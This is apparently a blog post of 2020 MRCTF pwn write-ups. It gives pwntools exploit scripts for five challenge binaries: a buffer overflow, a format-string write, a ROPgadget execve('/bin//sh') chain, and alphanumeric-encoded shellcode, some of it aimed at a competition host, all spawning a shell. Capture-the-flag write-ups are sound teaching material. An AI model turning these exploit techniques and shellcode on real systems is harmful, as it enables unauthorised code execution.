2020 MRCTF pwn

Posted by nop on 2020-03-01
Words 1.6k In Total

If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

easy_equation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.arch = 'amd64'
# from z3 import *

# judge=Real('judge')
# solve(11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198)
#[judge = 2]

p = process('./easy_equation')
def overflow():
sys_addr = 0x00000000004006D0
p.send('A'*9+p64(sys_addr))
p.interactive()


def strfmt():
judge = 0x000000000060105C
offset = 9
# payload = "b%511c%10$hn"+"a"*5+p64(judge-1)
# rewrite judge-1 to 0x200,store in little-endian,
# so judge was change to 0x02
payload = "aa%10$naa" + 'a'*8 + p64(judge)
# rewrite a number which lower than 8(see in ctf-wiki)
# notice,wether the way we use strfmt to write,
# there is one thing need to be attention:
# we need make the judge locate at the 10th arguement of printf(debug could find the matter)
p.sendline(payload)
p.interactive()
strfmt()
# overflow()

easy_overflow

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.arch = 'amd64'

# just overwrite the value of function's argument to pass the check
# p = process('./easy_overflow')
p = remote('38.39.244.2',28021)

payload = 'A'*(0x70-0x40) + 'n0t_r3@11y_f1@g'
p.sendline(payload)
p.interactive()

noting_but_everything

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *
context.arch = 'amd64'
from struct import pack

# the program compile statically, and make symbol strip,
# but we could get function main by entry function start,
# then we kown the offset which could make stack overflow,
# because of it's compiled statically,we just use the ROPgadget to get rop chain and get shell

p = ''
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004494ac) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449505) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040123c) # syscall

io = process('./pwn')
payload = 'A'*(0x70+8) + p
io.send('b') # pass the first read
io.send(payload)
io.interactive()
# ROPgadget --binary ./pwn --ropchain

# ROP chain generation
# ===========================================================

# - Step 1 -- Write-what-where gadgets

# [+] Gadget found: 0x47f261 mov qword ptr [rsi], rax ; ret
# [+] Gadget found: 0x4100d3 pop rsi ; ret
# [+] Gadget found: 0x4494ac pop rax ; ret
# [+] Gadget found: 0x444840 xor rax, rax ; ret

# - Step 2 -- Init syscall number gadgets

# [+] Gadget found: 0x444840 xor rax, rax ; ret
# [+] Gadget found: 0x4746b0 add rax, 1 ; ret
# [+] Gadget found: 0x4746b1 add eax, 1 ; ret

# - Step 3 -- Init syscall arguments gadgets

# [+] Gadget found: 0x400686 pop rdi ; ret
# [+] Gadget found: 0x4100d3 pop rsi ; ret
# [+] Gadget found: 0x449505 pop rdx ; ret

# - Step 4 -- Syscall gadget

# [+] Gadget found: 0x40123c syscall

# - Step 5 -- Build the ROP chain

# #!/usr/bin/env python2
# # execve generated by ROPgadget

# from struct import pack

# # Padding goes here
# p = ''
# ......
# p += pack('<Q', 0x000000000040123c) # syscall

shellcode

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.arch = 'amd64'

# just shellcode
# p = process('./shellcode')
p = remote('38.39.244.2',28027)

p.recvuntil("Show me your magic!")
p.send(asm(shellcraft.sh()))
p.interactive()

shellcode-revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *

# the ida could not convert asm code to fake c code,
# but we just need to patch the 'call rax' and change it to 'nop',
# we could get the fake c code,
# program is easy,just call our input,
# but input is limited to numbers and letters,
# so we need encode the shellcode to get shell


# context.log_level = 'debug'
context.arch='amd64'

p=process('./shellcode-revenge')
# p = remote('38.39.244.2',28065)
p.recvuntil('Show me your magic!')

def way1():
shellcode = 'jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c'
# shellcode += (0x400-len(shellcode))*"QY"
shellcode += (0x400-len(shellcode))*'RZ'
p.send(shellcode)
# p.send('jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c')
# the shellcode will change the stack structure,
# so we need to padding something to insure the stack balance,
# otherwise,program the ragin shellcode will execve our padding,
# so we need to padding somthing executable

p.interactive()

# [stack]:00007FFD00D68D90 push 5Ah
# [stack]:00007FFD00D68D92 push rsp
# [stack]:00007FFD00D68D93 pop rcx
# [stack]:00007FFD00D68D94 pop rax
# [stack]:00007FFD00D68D95 xor al, 55h
# [stack]:00007FFD00D68D97 push rax
# [stack]:00007FFD00D68D98 pop rax
# [stack]:00007FFD00D68D99 imul edi, [rcx], 41h
# [stack]:00007FFD00D68D9C movsxd rsi, dword ptr [rcx+rdi]
# [stack]:00007FFD00D68DA0 xor [rcx+rdi], esi
# [stack]:00007FFD00D68DA3 push 3030474Ah
# [stack]:00007FFD00D68DA8 pop rax
# [stack]:00007FFD00D68DA9 xor eax, 30304245h
# [stack]:00007FFD00D68DAE push rax
# [stack]:00007FFD00D68DAF pop rax
# [stack]:00007FFD00D68DAF ; ---------------------------------------------------------------------------
# [stack]:00007FFD00D68DB0 db 2Fh ; /
# [stack]:00007FFD00D68DB1 db 62h ; b
# [stack]:00007FFD00D68DB2 db 69h ; i
# [stack]:00007FFD00D68DB3 db 6Eh ; n
# [stack]:00007FFD00D68DB4 db 2Fh ; /
# [stack]:00007FFD00D68DB5 db 73h ; s
# [stack]:00007FFD00D68DB6 db 68h ; h
# [stack]:00007FFD00D68DB7 db 0
# [stack]:00007FFD00D68DB8 db 71h ; q
# [stack]:00007FFD00D68DB9 db 30h ; 0
# [stack]:00007FFD00D68DBA db 31h ; 1
# [stack]:00007FFD00D68DBB db 71h ; q
# [stack]:00007FFD00D68DBC db 30h ; 0
# [stack]:00007FFD00D68DBD db 48h ; H
# [stack]:00007FFD00D68DBE db 63h ; c
# [stack]:00007FFD00D68DBF db 71h ; q
# [stack]:00007FFD00D68DC0 db 34h ; 4
# [stack]:00007FFD00D68DC1 ; ---------------------------------------------------------------------------
# [stack]:00007FFD00D68DC1 xor [rcx+34h], esi
# [stack]:00007FFD00D68DC4 movsxd rdi, dword ptr [rcx+30h]
# [stack]:00007FFD00D68DC8 movsxd rsi, dword ptr [rcx+30h]
# [stack]:00007FFD00D68DCC push rdi
# [stack]:00007FFD00D68DCD pop rdx
# [stack]:00007FFD00D68DCE push 5A58555Ah
# [stack]:00007FFD00D68DD3 pop rax
# [stack]:00007FFD00D68DD4 xor eax, 34313775h
# [stack]:00007FFD00D68DD9 xor [rcx+30h], eax
# [stack]:00007FFD00D68DDC push 6A51475Ah
# [stack]:00007FFD00D68DE1 pop rax
# [stack]:00007FFD00D68DE2 xor eax, 6A393475h
# [stack]:00007FFD00D68DE7 xor [rcx+34h], eax
# [stack]:00007FFD00D68DEA xor rdi, [rcx+30h]
# [stack]:00007FFD00D68DEE pop rax
# [stack]:00007FFD00D68DEF push rdi
# [stack]:00007FFD00D68DF0 push 58h
# [stack]:00007FFD00D68DF2 movsxd rdi, dword ptr [rcx]
# [stack]:00007FFD00D68DF5 xor rdi, [rcx]
# [stack]:00007FFD00D68DF8 pop rax
# [stack]:00007FFD00D68DF9 push rsp
# [stack]:00007FFD00D68DFA xor rdi, [rcx]
# [stack]:00007FFD00D68DFD xor al, 63h
# [stack]:00007FFD00D68DFF push rcx
# [stack]:00007FFD00D68E00 pop rcx
# ......
# [stack]:00007FFD00D6914D push rcx
# [stack]:00007FFD00D6914E pop rcx
# [stack]:00007FFD00D6914F syscall
#
# in order to execute the syscall, we need padding sonthong wich ragin shellcode will execute and we need make stack banlance,
# so just pading QY(push rcx;pop rcx)
#
# >>> asm('push rdx;pop rdx')
# 'RZ'
# >>> asm('push rcx;pop rcx')
# 'QY'

# or we can change a shellcode which only contains numbers and letters too
def way2():
shellcode = "PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA"
p.send(shellcode)
sleep(0.1) # make sure we can get shell
p.interactive()

# way1()
way2()

# we could not use the shellcode which pwntools offered encode by AE64,
# when we debug it,we can find that the encoded shellcode could not set the rax to currect value to call syscall

You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.